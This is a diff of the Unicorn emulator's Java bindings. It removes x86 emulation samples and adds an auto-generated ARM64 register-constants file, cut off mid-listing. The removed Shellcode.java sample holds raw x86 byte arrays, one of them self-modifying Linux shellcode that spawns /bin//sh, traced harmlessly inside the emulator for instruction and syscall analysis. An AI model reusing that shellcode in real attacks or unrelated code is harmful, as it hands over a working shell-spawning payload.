// emulate code that read invalid memory - static void test_i386_invalid_mem_write() - { - Long r_ecx = 0x1234L; // ECX register - Long r_edx = 0x7890L; // EDX register - - System.out.print("===================================\n"); - System.out.print("Emulate i386 code that write to invalid memory\n"); - - // Initialize emulator in X86-32bit mode - Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); - - // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); - - // write machine code to be emulated to memory - u.mem_write(ADDRESS, X86_CODE32_MEM_WRITE); - - // initialize machine registers - u.reg_write(Unicorn.UC_X86_REG_ECX, r_ecx); - u.reg_write(Unicorn.UC_X86_REG_EDX, r_edx); - - // tracing all basic blocks with customized callback - u.hook_add(new MyBlockHook(), 1, 0, null); - - // tracing all instruction by having @begin > @end - u.hook_add(new MyCodeHook(), 1, 0, null); - - // intercept invalid memory events - u.hook_add(new MyWriteInvalidHook(), Unicorn.UC_HOOK_MEM_WRITE_UNMAPPED, null); - - // emulate machine code in infinite time - try { - u.emu_start(ADDRESS, ADDRESS + X86_CODE32_MEM_WRITE.length, 0, 0); - } catch (UnicornException uex) { - System.out.printf("Failed on uc_emu_start() with error returned: %s\n", uex.getMessage()); - } - - // now print out some registers - System.out.print(">>> Emulation done. Below is the CPU context\n"); - - r_ecx = (Long)u.reg_read(Unicorn.UC_X86_REG_ECX); - r_edx = (Long)u.reg_read(Unicorn.UC_X86_REG_EDX); - System.out.printf(">>> ECX = 0x%x\n", r_ecx.intValue()); - System.out.printf(">>> EDX = 0x%x\n", r_edx.intValue()); - - // read from memory - byte tmp[] = u.mem_read(0xaaaaaaaa, 4); - System.out.printf(">>> Read 4 bytes from [0x%x] = 0x%x\n", 0xaaaaaaaa, toInt(tmp)); - - try { - u.mem_read(0xffffffaa, 4); - System.out.printf(">>> Read 4 bytes from [0x%x] = 0x%x\n", 0xffffffaa, toInt(tmp)); - } catch (UnicornException uex) { - System.out.printf(">>> Failed to read 4 bytes from [0x%x]\n", 0xffffffaa); - } - - u.close(); - } - - // emulate code that jump to invalid memory - static void test_i386_jump_invalid() - { - Long r_ecx = 0x1234L; // ECX register - Long r_edx = 0x7890L; // EDX register - - System.out.print("===================================\n"); - System.out.print("Emulate i386 code that jumps to invalid memory\n"); - - // Initialize emulator in X86-32bit mode - Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); - - // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); - - // write machine code to be emulated to memory - u.mem_write(ADDRESS, X86_CODE32_JMP_INVALID); - - // initialize machine registers - u.reg_write(Unicorn.UC_X86_REG_ECX, r_ecx); - u.reg_write(Unicorn.UC_X86_REG_EDX, r_edx); - - // tracing all basic blocks with customized callback - u.hook_add(new MyBlockHook(), 1, 0, null); - - // tracing all instructions by having @begin > @end - u.hook_add(new MyCodeHook(), 1, 0, null); - - // emulate machine code in infinite time - try { - u.emu_start(ADDRESS, ADDRESS + X86_CODE32_JMP_INVALID.length, 0, 0); - } catch (UnicornException uex) { - System.out.printf("Failed on uc_emu_start() with error returned: %s\n", uex.getMessage()); - } - - // now print out some registers - System.out.print(">>> Emulation done. Below is the CPU context\n"); - - r_ecx = (Long)u.reg_read(Unicorn.UC_X86_REG_ECX); - r_edx = (Long)u.reg_read(Unicorn.UC_X86_REG_EDX); - System.out.printf(">>> ECX = 0x%x\n", r_ecx.intValue()); - System.out.printf(">>> EDX = 0x%x\n", r_edx.intValue()); - - u.close(); - } - - static void test_x86_64() - { - long rax = 0x71f3029efd49d41dL; - long rbx = 0xd87b45277f133ddbL; - long rcx = 0xab40d1ffd8afc461L; - long rdx = 0x919317b4a733f01L; - long rsi = 0x4c24e753a17ea358L; - long rdi = 0xe509a57d2571ce96L; - long r8 = 0xea5b108cc2b9ab1fL; - long r9 = 0x19ec097c8eb618c1L; - long r10 = 0xec45774f00c5f682L; - long r11 = 0xe17e9dbec8c074aaL; - long r12 = 0x80f86a8dc0f6d457L; - long r13 = 0x48288ca5671c5492L; - long r14 = 0x595f72f6e4017f6eL; - long r15 = 0x1efd97aea331ccccL; - - long rsp = ADDRESS + 0x200000; - - System.out.print("Emulate x86_64 code\n"); - - // Initialize emulator in X86-64bit mode - Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_64); - - // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); - - // write machine code to be emulated to memory - u.mem_write(ADDRESS, X86_CODE64); - - // initialize machine registers - u.reg_write(Unicorn.UC_X86_REG_RSP, rsp); - - u.reg_write(Unicorn.UC_X86_REG_RAX, rax); - u.reg_write(Unicorn.UC_X86_REG_RBX, rbx); - u.reg_write(Unicorn.UC_X86_REG_RCX, rcx); - u.reg_write(Unicorn.UC_X86_REG_RDX, rdx); - u.reg_write(Unicorn.UC_X86_REG_RSI, rsi); - u.reg_write(Unicorn.UC_X86_REG_RDI, rdi); - u.reg_write(Unicorn.UC_X86_REG_R8, r8); - u.reg_write(Unicorn.UC_X86_REG_R9, r9); - u.reg_write(Unicorn.UC_X86_REG_R10, r10); - u.reg_write(Unicorn.UC_X86_REG_R11, r11); - u.reg_write(Unicorn.UC_X86_REG_R12, r12); - u.reg_write(Unicorn.UC_X86_REG_R13, r13); - u.reg_write(Unicorn.UC_X86_REG_R14, r14); - u.reg_write(Unicorn.UC_X86_REG_R15, r15); - - // tracing all basic blocks with customized callback - u.hook_add(new MyBlockHook(), 1, 0, null); - - // tracing all instructions in the range [ADDRESS, ADDRESS+20] - u.hook_add(new MyCode64Hook(), ADDRESS, ADDRESS+20, null); - - // tracing all memory WRITE access (with @begin > @end) - u.hook_add(new MyWrite64Hook(), 1, 0, null); - - // tracing all memory READ access (with @begin > @end) - u.hook_add(new MyRead64Hook(), 1, 0, null); - - // emulate machine code in infinite time (last param = 0), or when - // finishing all the code. - u.emu_start(ADDRESS, ADDRESS + X86_CODE64.length, 0, 0); - - // now print out some registers - System.out.print(">>> Emulation done. Below is the CPU context\n"); - - Long r_rax = (Long)u.reg_read(Unicorn.UC_X86_REG_RAX); - Long r_rbx = (Long)u.reg_read(Unicorn.UC_X86_REG_RBX); - Long r_rcx = (Long)u.reg_read(Unicorn.UC_X86_REG_RCX); - Long r_rdx = (Long)u.reg_read(Unicorn.UC_X86_REG_RDX); - Long r_rsi = (Long)u.reg_read(Unicorn.UC_X86_REG_RSI); - Long r_rdi = (Long)u.reg_read(Unicorn.UC_X86_REG_RDI); - Long r_r8 = (Long)u.reg_read(Unicorn.UC_X86_REG_R8); - Long r_r9 = (Long)u.reg_read(Unicorn.UC_X86_REG_R9); - Long r_r10 = (Long)u.reg_read(Unicorn.UC_X86_REG_R10); - Long r_r11 = (Long)u.reg_read(Unicorn.UC_X86_REG_R11); - Long r_r12 = (Long)u.reg_read(Unicorn.UC_X86_REG_R12); - Long r_r13 = (Long)u.reg_read(Unicorn.UC_X86_REG_R13); - Long r_r14 = (Long)u.reg_read(Unicorn.UC_X86_REG_R14); - Long r_r15 = (Long)u.reg_read(Unicorn.UC_X86_REG_R15); - - System.out.printf(">>> RAX = 0x%x\n", r_rax.longValue()); - System.out.printf(">>> RBX = 0x%x\n", r_rbx.longValue()); - System.out.printf(">>> RCX = 0x%x\n", r_rcx.longValue()); - System.out.printf(">>> RDX = 0x%x\n", r_rdx.longValue()); - System.out.printf(">>> RSI = 0x%x\n", r_rsi.longValue()); - System.out.printf(">>> RDI = 0x%x\n", r_rdi.longValue()); - System.out.printf(">>> R8 = 0x%x\n", r_r8.longValue()); - System.out.printf(">>> R9 = 0x%x\n", r_r9.longValue()); - System.out.printf(">>> R10 = 0x%x\n", r_r10.longValue()); - System.out.printf(">>> R11 = 0x%x\n", r_r11.longValue()); - System.out.printf(">>> R12 = 0x%x\n", r_r12.longValue()); - System.out.printf(">>> R13 = 0x%x\n", r_r13.longValue()); - System.out.printf(">>> R14 = 0x%x\n", r_r14.longValue()); - System.out.printf(">>> R15 = 0x%x\n", r_r15.longValue()); - - u.close(); - } - - static void test_x86_16() - { - Long eax = 7L; - Long ebx = 5L; - Long esi = 6L; - - System.out.print("Emulate x86 16-bit code\n"); - - // Initialize emulator in X86-16bit mode - Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_16); - - // map 8KB memory for this emulation - u.mem_map(0, 8 * 1024, Unicorn.UC_PROT_ALL); - - // write machine code to be emulated to memory - u.mem_write(0, X86_CODE16); - - // initialize machine registers - u.reg_write(Unicorn.UC_X86_REG_EAX, eax); - u.reg_write(Unicorn.UC_X86_REG_EBX, ebx); - u.reg_write(Unicorn.UC_X86_REG_ESI, esi); - - // emulate machine code in infinite time (last param = 0), or when - // finishing all the code. - u.emu_start(0, X86_CODE16.length, 0, 0); - - // now print out some registers - System.out.print(">>> Emulation done. Below is the CPU context\n"); - - // read from memory - byte[] tmp = u.mem_read(11, 1); - System.out.printf(">>> Read 1 bytes from [0x%x] = 0x%x\n", 11, toInt(tmp)); - - u.close(); - } - - public static void main(String args[]) - { - if (args.length == 1) { - if (args[0].equals("-32")) { - test_i386(); - test_i386_inout(); - test_i386_jump(); - test_i386_loop(); - test_i386_invalid_mem_read(); - test_i386_invalid_mem_write(); - test_i386_jump_invalid(); - } - - if (args[0].equals("-64")) { - test_x86_64(); - } - - if (args[0].equals("-16")) { - test_x86_16(); - } - - // test memleak - if (args[0].equals("-0")) { - while(true) { - test_i386(); - // test_x86_64(); - } - } - } else { - System.out.print("Syntax: java Sample_x86 <-16|-32|-64>\n"); - } - - } - -} diff --git a/bindings/java/samples/Sample_x86_mmr.java b/bindings/java/samples/Sample_x86_mmr.java deleted file mode 100644 index 0ecb3a1ebf..0000000000 --- a/bindings/java/samples/Sample_x86_mmr.java +++ /dev/null @@ -1,77 +0,0 @@ -/* - -Java bindings for the Unicorn Emulator Engine - -Copyright(c) 2016 Chris Eagle - -This program is free software; you can redistribute it and/or -modify it under the terms of the GNU General Public License -version 2 as published by the Free Software Foundation. - -This program is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU General Public License for more details. - -You should have received a copy of the GNU General Public License -along with this program; if not, write to the Free Software -Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. - -*/ - -/* Sample code to demonstrate how to register read/write API */ - -import unicorn.*; - -public class Sample_x86_mmr { - - static void test_x86_mmr() { - // Initialize emulator in X86-32bit mode - Unicorn uc; - try { - uc = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); - } catch (UnicornException uex) { - System.out.println("Failed on uc_open() with error returned: " + uex); - return; - } - - // map 4k - uc.mem_map(0x400000, 0x1000, Unicorn.UC_PROT_ALL); - - X86_MMR ldtr1 = new X86_MMR(0x1111111122222222L, 0x33333333, 0x44444444, (short)0x5555); - X86_MMR ldtr2; - X86_MMR gdtr1 = new X86_MMR(0x6666666677777777L, 0x88888888, 0x99999999, (short)0xaaaa); - X86_MMR gdtr2, gdtr3, gdtr4; - - int eax; - - // initialize machine registers - - uc.reg_write(Unicorn.UC_X86_REG_LDTR, ldtr1); - uc.reg_write(Unicorn.UC_X86_REG_GDTR, gdtr1); - uc.reg_write(Unicorn.UC_X86_REG_EAX, 0xddddddddL); - - // read the registers back out - eax = (int)((Long)uc.reg_read(Unicorn.UC_X86_REG_EAX)).longValue(); - ldtr2 = (X86_MMR)uc.reg_read(Unicorn.UC_X86_REG_LDTR); - gdtr2 = (X86_MMR)uc.reg_read(Unicorn.UC_X86_REG_GDTR); - - System.out.printf(">>> EAX = 0x%x\n", eax); - - System.out.printf(">>> LDTR.base = 0x%x\n", ldtr2.base); - System.out.printf(">>> LDTR.limit = 0x%x\n", ldtr2.limit); - System.out.printf(">>> LDTR.flags = 0x%x\n", ldtr2.flags); - System.out.printf(">>> LDTR.selector = 0x%x\n\n", ldtr2.selector); - - System.out.printf(">>> GDTR.base = 0x%x\n", gdtr2.base); - System.out.printf(">>> GDTR.limit = 0x%x\n", gdtr2.limit); - - uc.close(); - } - - public static void main(String args[]) - { - test_x86_mmr(); - } - -} diff --git a/bindings/java/samples/Shellcode.java b/bindings/java/samples/Shellcode.java deleted file mode 100644 index e75d922bc7..0000000000 --- a/bindings/java/samples/Shellcode.java +++ /dev/null @@ -1,161 +0,0 @@ -/* - -Java bindings for the Unicorn Emulator Engine - -Copyright(c) 2015 Chris Eagle - -This program is free software; you can redistribute it and/or -modify it under the terms of the GNU General Public License -version 2 as published by the Free Software Foundation. - -This program is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU General Public License for more details. - -You should have received a copy of the GNU General Public License -along with this program; if not, write to the Free Software -Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. - -*/ - -/* Unicorn Emulator Engine */ -/* By Nguyen Anh Quynh & Dang Hoang Vu, 2015 */ - -/* Sample code to trace code with Linux code with syscall */ - -import unicorn.*; -import java.math.*; - -public class Shellcode { - - public static final byte[] X86_CODE32 = {-21,25,49,-64,49,-37,49,-46,49,-55,-80,4,-77,1,89,-78,5,-51,-128,49,-64,-80,1,49,-37,-51,-128,-24,-30,-1,-1,-1,104,101,108,108,111}; - public static final byte[] X86_CODE32_SELF = {-21,28,90,-119,-42,-117,2,102,61,-54,125,117,6,102,5,3,3,-119,2,-2,-62,61,65,65,65,65,117,-23,-1,-26,-24,-33,-1,-1,-1,49,-46,106,11,88,-103,82,104,47,47,115,104,104,47,98,105,110,-119,-29,82,83,-119,-31,-54,125,65,65,65,65,65,65,65,65}; - - // memory address where emulation starts - public static final int ADDRESS = 0x1000000; - - public static final long toInt(byte val[]) { - long res = 0; - for (int i = 0; i < val.length; i++) { - long v = val[i] & 0xff; - res = res + (v << (i * 8)); - } - return res; - } - - public static final byte[] toBytes(long val) { - byte[] res = new byte[8]; - for (int i = 0; i < 8; i++) { - res[i] = (byte)(val & 0xff); - val >>>= 8; - } - return res; - } - - public static class MyCodeHook implements CodeHook { - public void hook(Unicorn u, long address, int size, Object user) { - - System.out.print(String.format("Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size)); - - Long r_eip = (Long)u.reg_read(Unicorn.UC_X86_REG_EIP); - System.out.print(String.format("*** EIP = %x ***: ", r_eip.intValue())); - - size = Math.min(16, size); - - byte[] tmp = u.mem_read(address, size); - for (int i = 0; i < tmp.length; i++) { - System.out.print(String.format("%x ", 0xff & tmp[i])); - } - System.out.print("\n"); - } - }; - - public static class MyInterruptHook implements InterruptHook { - public void hook(Unicorn u, int intno, Object user) { - Long r_ecx; - Long r_edx; - int size; - - // only handle Linux syscall - if (intno != 0x80) { - return; - } - - Long r_eax = (Long)u.reg_read(Unicorn.UC_X86_REG_EAX); - Long r_eip = (Long)u.reg_read(Unicorn.UC_X86_REG_EIP); - - switch (r_eax.intValue()) { - default: - System.out.print(String.format(">>> 0x%x: interrupt 0x%x, EAX = 0x%x\n", r_eip.intValue(), intno, r_eax.intValue())); - break; - case 1: // sys_exit - System.out.print(String.format(">>> 0x%x: interrupt 0x%x, SYS_EXIT. quit!\n\n", r_eip.intValue(), intno)); - u.emu_stop(); - break; - case 4: // sys_write - // ECX = buffer address - r_ecx = (Long)u.reg_read(Unicorn.UC_X86_REG_ECX); - - // EDX = buffer size - r_edx = (Long)u.reg_read(Unicorn.UC_X86_REG_EDX); - - // read the buffer in - size = (int)Math.min(256, r_edx); - - byte[] buffer = u.mem_read(r_ecx, size); - System.out.print(String.format(">>> 0x%x: interrupt 0x%x, SYS_WRITE. buffer = 0x%x, size = %u, content = '%s'\n", - r_eip.intValue(), intno, r_ecx.intValue(), r_edx.intValue(), new String(buffer))); - break; - } - } - } - - static void test_i386() - { - Long r_esp = ADDRESS + 0x200000L; // ESP register - - System.out.print("Emulate i386 code\n"); - - // Initialize emulator in X86-32bit mode - Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); - - // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); - - // write machine code to be emulated to memory - u.mem_write(ADDRESS, X86_CODE32_SELF); - - // initialize machine registers - u.reg_write(Unicorn.UC_X86_REG_ESP, r_esp); - - // tracing all instructions by having @begin > @end - u.hook_add(new MyCodeHook(), 1, 0, null); - - // handle interrupt ourself - u.hook_add(new MyInterruptHook(), null); - - System.out.print("\n>>> Start tracing this Linux code\n"); - - // emulate machine code in infinite time - // u.emu_start(ADDRESS, ADDRESS + X86_CODE32_SELF.length, 0, 12); <--- emulate only 12 instructions - u.emu_start(ADDRESS, ADDRESS + X86_CODE32_SELF.length, 0, 0); - - System.out.print("\n>>> Emulation done.\n"); - - u.close(); - } - - public static void main(String args[]) - { - if (args.length == 1) { - if ("-32".equals(args[0])) { - test_i386(); - } - } else { - System.out.print("Syntax: java Shellcode <-32|-64>\n"); - } - - } - -} diff --git a/bindings/java/src/main/java/unicorn/Arm64Const.java b/bindings/java/src/main/java/unicorn/Arm64Const.java new file mode 100644 index 0000000000..5add7e11d1 --- /dev/null +++ b/bindings/java/src/main/java/unicorn/Arm64Const.java @@ -0,0 +1,339 @@ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT + +package unicorn; + +public interface Arm64Const { + + // ARM64 CPU + + public static final int UC_CPU_ARM64_A57 = 0; + public static final int UC_CPU_ARM64_A53 = 1; + public static final int UC_CPU_ARM64_A72 = 2; + public static final int UC_CPU_ARM64_MAX = 3; + public static final int UC_CPU_ARM64_ENDING = 4; + + // ARM64 registers + + public static final int UC_ARM64_REG_INVALID = 0; + public static final int UC_ARM64_REG_X29 = 1; + public static final int UC_ARM64_REG_X30 = 2; + public static final int UC_ARM64_REG_NZCV = 3; + public static final int UC_ARM64_REG_SP = 4; + public static final int UC_ARM64_REG_WSP = 5; + public static final int UC_ARM64_REG_WZR = 6; + public static final int UC_ARM64_REG_XZR = 7; + public static final int UC_ARM64_REG_B0 = 8; + public static final int UC_ARM64_REG_B1 = 9; + public static final int UC_ARM64_REG_B2 = 10; + public static final int UC_ARM64_REG_B3 = 11; + public static final int UC_ARM64_REG_B4 = 12; + public static final int UC_ARM64_REG_B5 = 13; + public static final int UC_ARM64_REG_B6 = 14; + public static final int UC_ARM64_REG_B7 = 15; + public static final int UC_ARM64_REG_B8 = 16; + public static final int UC_ARM64_REG_B9 = 17; + public static final int UC_ARM64_REG_B10 = 18; + public static final int UC_ARM64_REG_B11 = 19; + public static final int UC_ARM64_REG_B12 = 20; + public static final int UC_ARM64_REG_B13 = 21; + public static final int UC_ARM64_REG_B14 = 22; + public static final int UC_ARM64_REG_B15 = 23; + public static final int UC_ARM64_REG_B16 = 24; + public static final int UC_ARM64_REG_B17 = 25; + public static final int UC_ARM64_REG_B18 = 26; + public static final int UC_ARM64_REG_B19 = 27; + public static final int UC_ARM64_REG_B20 = 28; + public static final int UC_ARM64_REG_B21 = 29; + public static final int UC_ARM64_REG_B22 = 30; + public static final int UC_ARM64_REG_B23 = 31; + public static final int UC_ARM64_REG_B24 = 32; + public static final int UC_ARM64_REG_B25 = 33; + public static final int UC_ARM64_REG_B26 = 34; + public static final int UC_ARM64_REG_B27 = 35; + public static final int UC_ARM64_REG_B28 = 36; + public static final int UC_ARM64_REG_B29 = 37; + public static final int UC_ARM64_REG_B30 = 38; + public static final int UC_ARM64_REG_B31 = 39; + public static final int UC_ARM64_REG_D0 = 40; + public static final int UC_ARM64_REG_D1 = 41; + public static final int UC_ARM64_REG_D2 = 42; + public static final int UC_ARM64_REG_D3 = 43; + public static final int UC_ARM64_REG_D4 = 44; + public static final int UC_ARM64_REG_D5 = 45; + public static final int UC_ARM64_REG_D6 = 46; + public static final int UC_ARM64_REG_D7 = 47; + public static final int UC_ARM64_REG_D8 = 48; + public static final int UC_ARM64_REG_D9 = 49; + public static final int UC_ARM64_REG_D10 = 50; + public static final int UC_ARM64_REG_D11 = 51; + public static final int UC_ARM64_REG_D12 = 52; + public static final int UC_ARM64_REG_D13 = 53; + public static final int UC_ARM64_REG_D14 = 54; + public static final int UC_ARM64_REG_D15 = 55; + public static final int UC_ARM64_REG_D16 = 56; + public static final int UC_ARM64_REG_D17 = 57; + public static final int UC_ARM64_REG_D18 = 58; + public static final int UC_ARM64_REG_D19 = 59; + public static final int UC_ARM64_REG_D20 = 60; + public static final int UC_ARM64_REG_D21 = 61; + public static final int UC_ARM64_REG_D22 = 62; + public static final int UC_ARM64_REG_D23 = 63; + public static final int UC_ARM64_REG_D24 = 64; + public static final int UC_ARM64_REG_D25 = 65; + public static final int UC_ARM64_REG_D26 = 66; + public static final int UC_ARM64_REG_D27 = 67; + public static final int UC_ARM64_REG_D28 = 68; + public static final int UC_ARM64_REG_D29 = 69; + public static final int UC_ARM64_REG_D30 = 70; + public static final int UC_ARM64_REG_D31 = 71; + public static final int UC_ARM64_REG_H0 = 72; + public static final int UC_ARM64_REG_H1 = 73; + public static final int UC_ARM64_REG_H2 = 74; + public static final int UC_ARM64_REG_H3 = 75; + public static final int UC_ARM64_REG_H4 = 76; + public static final int UC_ARM64_REG_H5 = 77; + public static final int UC_ARM64_REG_H6 = 78; + public static final int UC_ARM64_REG_H7 = 79; + public static final int UC_ARM64_REG_H8 = 80; + public static final int UC_ARM64_REG_H9 = 81; + public static final int UC_ARM64_REG_H10 = 82; + public static final int UC_ARM64_REG_H11 = 83; + public static final int UC_ARM64_REG_H12 = 84; + public static final int UC_ARM64_REG_H13 = 85; + public static final int UC_ARM64_REG_H14 = 86; + public static final int UC_ARM64_REG_H15 = 87; + public static final int UC_ARM64_REG_H16 = 88; + public static final int UC_ARM64_REG_H17 = 89; + public static final int UC_ARM64_REG_H18 = 90; + public static final int UC_ARM64_REG_H19 = 91; + public static final int UC_ARM64_REG_H20 = 92; + public static final int UC_ARM64_REG_H21 = 93; + public static final int UC_ARM64_REG_H22 = 94; + public static final int UC_ARM64_REG_H23 = 95; + public static final int UC_ARM64_REG_H24 = 96; + public static final int UC_ARM64_REG_H25 = 97; + public static final int UC_ARM64_REG_H26 = 98; + public static final int UC_ARM64_REG_H27 = 99; + public static final int UC_ARM64_REG_H28 = 100; + public static final int UC_ARM64_REG_H29 = 101; + public static final int UC_ARM64_REG_H30 = 102; + public static final int UC_ARM64_REG_H31 = 103; + public static final int UC_ARM64_REG_Q0 = 104; + public static final int UC_ARM64_REG_Q1 = 105; + public static final int UC_ARM64_REG_Q2 = 106; + public static final int UC_ARM64_REG_Q3 = 107; + public static final int UC_ARM64_REG_Q4 = 108; + public static final int UC_ARM64_REG_Q5 = 109; + public static final int UC_ARM64_REG_Q6 = 110; + public static final int UC_ARM64_REG_Q7 = 111; + public static final int UC_ARM64_REG_Q8 = 112; + public static final int UC_ARM64_REG_Q9 = 113; + public static final int UC_ARM64_REG_Q10 = 114; + public static final int UC_ARM64_REG_Q11 = 115; + public static final int UC_ARM64_REG_Q12 = 116; + public static final int UC_ARM64_REG_Q13 = 117; + public static final int UC_ARM64_REG_Q14 = 118; + public static final int UC_ARM64_REG_Q15 = 119; + public static final int UC_ARM64_REG_Q16 = 120; + public static final int UC_ARM64_REG_Q17 = 121; + public static final int UC_ARM64_REG_Q18 = 122; + public static final int UC_ARM64_REG_Q19 = 123; + public static final int UC_ARM64_REG_Q20 = 124; + public static final int UC_ARM64_REG_Q21 = 125; + public static final int UC_ARM64_REG_Q22 = 126; + public static final int UC_ARM64_REG_Q23 = 127; + public static final int UC_ARM64_REG_Q24 = 128; + public static final int UC_ARM64_REG_Q25 = 129; + public static final int UC_ARM64_REG_Q26 = 130; + public static final int UC_ARM64_REG_Q27 = 131; + public static final int UC_ARM64_REG_Q28 = 132; + public static final int UC_ARM64_REG_Q29 = 133; + public static final int UC_ARM64_REG_Q30 = 134; + public static final int UC_ARM64_REG_Q31 = 135; + public static final int UC_ARM64_REG_S0 = 136; + public static final int UC_ARM64_REG_S1 = 137; + public static final int UC_ARM64_REG_S2 = 138; + public static final int UC_ARM64_REG_S3 = 139; + public static final int UC_ARM64_REG_S4 = 140; + public static final int UC_ARM64_REG_S5 = 141; + public static final int UC_ARM64_REG_S6 = 142; + public static final int UC_ARM64_REG_S7 = 143; + public static final int UC_ARM64_REG_S8 = 144; + public static final int UC_ARM64_REG_S9 = 145; + public static final int UC_ARM64_REG_S10 = 146; + public static final int UC_ARM64_REG_S11 = 147; + public static final int UC_ARM64_REG_S12 = 148; + public static final int UC_ARM64_REG_S13 = 149; + public static final int UC_ARM64_REG_S14 = 150; + public static final int UC_ARM64_REG_S15 = 151; + public static final int UC_ARM64_REG_S16 = 152; + public static final int UC_ARM64_REG_S17 = 153; + public static final int UC_ARM64_REG_S18 = 154; + public static final int UC_ARM64_REG_S19 = 155; + public static final int UC_ARM64_REG_S20 = 156; + public static final int UC_ARM64_REG_S21 = 157; + public static final int UC_ARM64_REG_S22 = 158; + public static final int UC_ARM64_REG_S23 = 159; + public static final int UC_ARM64_REG_S24 = 160; + public static final int UC_ARM64_REG_S25 = 161; + public static final int UC_ARM64_REG_S26 = 162; + public static final int UC_ARM64_REG_S27 = 163; + public static final int UC_ARM64_REG_S28 = 164; + public static final int UC_ARM64_REG_S29 = 165; + public static final int UC_ARM64_REG_S30 = 166; + public static final int UC_ARM64_REG_S31 = 167; + public static final int UC_ARM64_REG_W0 = 168; + public static final int UC_ARM64_REG_W1 = 169; + public static final int UC_ARM64_REG_W2 = 170; + public static final int UC_ARM64_REG_W3 = 171; + public static final int UC_ARM64_REG_W4 = 172; + public static final int UC_ARM64_REG_W5 = 173; + public static final int UC_ARM64_REG_W6 = 174; + public static final int UC_ARM64_REG_W7 = 175; + public static final int UC_ARM64_REG_W8 = 176; + public static final int UC_ARM64_REG_W9 = 177; + public static final int UC_ARM64_REG_W10 = 178; + public static final int UC_ARM64_REG_W11 = 179; + public static final int UC_ARM64_REG_W12 = 180; + public static final int UC_ARM64_REG_W13 = 181; + public static final int UC_ARM64_REG_W14 = 182; + public static final int UC_ARM64_REG_W15 = 183; + public static final int UC_ARM64_REG_W16 = 184; + public static final int UC_ARM64_REG_W17 = 185; + public static final int UC_ARM64_REG_W18 = 186; + public static final int UC_ARM64_REG_W19 = 187; + public static final int UC_ARM64_REG_W20 = 188; + public static final int UC_ARM64_REG_W21 = 189; + public static final int UC_ARM64_REG_W22 = 190; + public static final int UC_ARM64_REG_W23 = 191; + public static final int UC_ARM64_REG_W24 = 192; + public static final int UC_ARM64_REG_W25 = 193; + public static final int UC_ARM64_REG_W26 = 194; + public static final int UC_ARM64_REG_W27 = 195; + public static final int UC_ARM64_REG_W28 = 196; + public static final int UC_ARM64_REG_W29 = 197; + public static final int UC_ARM64_REG_W30 = 198; + public static final int UC_ARM64_REG_X0 = 199; + public static final int UC_ARM64_REG_X1 = 200; + public static final int UC_ARM64_REG_X2 = 201; + public static final int UC_ARM64_REG_X3 = 202; + public static final int UC_ARM64_REG_X4 = 203; + public static final int UC_ARM64_REG_X5 = 204; + public static final int UC_ARM64_REG_X6 = 205; + public static final int UC_ARM64_REG_X7 = 206; + public static final int UC_ARM64_REG_X8 = 207; + public static final int UC_ARM64_REG_X9 = 208; + public static final int UC_ARM64_REG_X10 = 209; + public static final int UC_ARM64_REG_X11 = 210; + public static final int UC_ARM64_REG_X12 = 211; + public static final int UC_ARM64_REG_X13 = 212; + public static final int UC_ARM64_REG_X14 = 213; + public static final int UC_ARM64_REG_X15 = 214; + public static final int UC_ARM64_REG_X16 = 215; + public static final int UC_ARM64_REG_X17 = 216; + public static final int UC_ARM64_REG_X18 = 217; + public static final int UC_ARM64_REG_X19 = 218; + public static final int UC_ARM64_REG_X20 = 219; + public static final int UC_ARM64_REG_X21 = 220; + public static final int UC_ARM64_REG_X22 = 221; + public static final int UC_ARM64_REG_X23 = 222; + public static final int UC_ARM64_REG_X24 = 223; + public static final int UC_ARM64_REG_X25 = 224; + public static final int UC_ARM64_REG_X26 = 225; + public static final int UC_ARM64_REG_X27 = 226; + public static final int UC_ARM64_REG_X28 = 227; + public static final int UC_ARM64_REG_V0 = 228; + public static final int UC_ARM64_REG_V1 = 229; + public static final int UC_ARM64_REG_V2 = 230; + public static final int UC_ARM64_REG_V3 = 231; + public static final int UC_ARM64_REG_V4 = 232; + public static final int UC_ARM64_REG_V5 = 233; + public static final int UC_ARM64_REG_V6 = 234; + public static final int UC_ARM64_REG_V7 = 235; + public static final int UC_ARM64_REG_V8 = 236; + public static final int UC_ARM64_REG_V9 = 237; + public static final int UC_ARM64_REG_V10 = 238; + public static final int UC_ARM64_REG_V11 = 239; + public static final int UC_ARM64_REG_V12 = 240; + public static final int UC_ARM64_REG_V13 = 241; + public static final int UC_ARM64_REG_V14 = 242; + public static final int UC_ARM64_REG_V15 = 243; + public static final int UC_ARM64_REG_V16 = 244; + public static final int UC_ARM64_REG_V17 = 245; + public static final int UC_ARM64_REG_V18 = 246; + public static final int UC_ARM64_REG_V19 = 247; + public static final int UC_ARM64_REG_V20 = 248; + public static final int UC_ARM64_REG_V21 = 249; + public static final int UC_ARM64_REG_V22 = 250; + public static final int UC_ARM64_REG_V23 = 251; + public static final int UC_ARM64_REG_V24 = 252; + public static final int UC_ARM64_REG_V25 = 253; + public static final int UC_ARM64_REG_V26 = 254; + public static final int UC_ARM64_REG_V27 = 255; + public static final int UC_ARM64_REG_V28 = 256; + public static final int UC_ARM64_REG_V29 = 257; + public static final int UC_ARM64_REG_V30 = 258; + public static final int 